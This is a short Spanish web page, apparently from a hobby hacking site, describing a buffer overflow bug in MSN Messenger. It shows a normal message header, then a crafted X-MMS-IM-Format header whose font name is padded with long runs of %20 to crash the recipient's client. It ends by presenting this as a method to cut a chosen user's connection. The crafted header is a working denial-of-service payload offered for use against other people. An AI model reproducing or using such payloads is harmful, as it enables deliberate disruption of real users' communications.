BUGS MSN
El bug que hemos localizado consiste en hacer un desbordamiento
del buffer al enviar un mensaje con fuente formateada, esto supone
un desbordamiento del buffer y por lo tanto, la caida del usuario
atacado.
Este es el encabezamiento de un mensaje:
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-MMS-IM-Format: FN=MS%20Sans%20Serif;
EF=B; CO=ff; CS=0; PF=22
De la linea MS%20Sans%20Serif
vamos a sacar petroleo. Ahi es donde indica la fuente que utilizamos
y casualmente el bug se produce en esa parte del código.
Para conseguir el desbordamiento del buffer, meteremos una cadena
larga como la que teneis aqui abajo.
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-MMS-IM-Format: FN=Times%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20New%20%20%20%20
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20Roman%20%20%20%20%20%20
Por muy larga que sea la cadena, el mensaje
llegará con fuente (en el ejemplo en color rojo) y se producirá
un desbordamiento del buffer al llegar mucho contenido alrededor
de la fuente. Por lo tanto ya hay un método para cortarle
la conexión a algun usuario.
Página principal
/ Mapa Web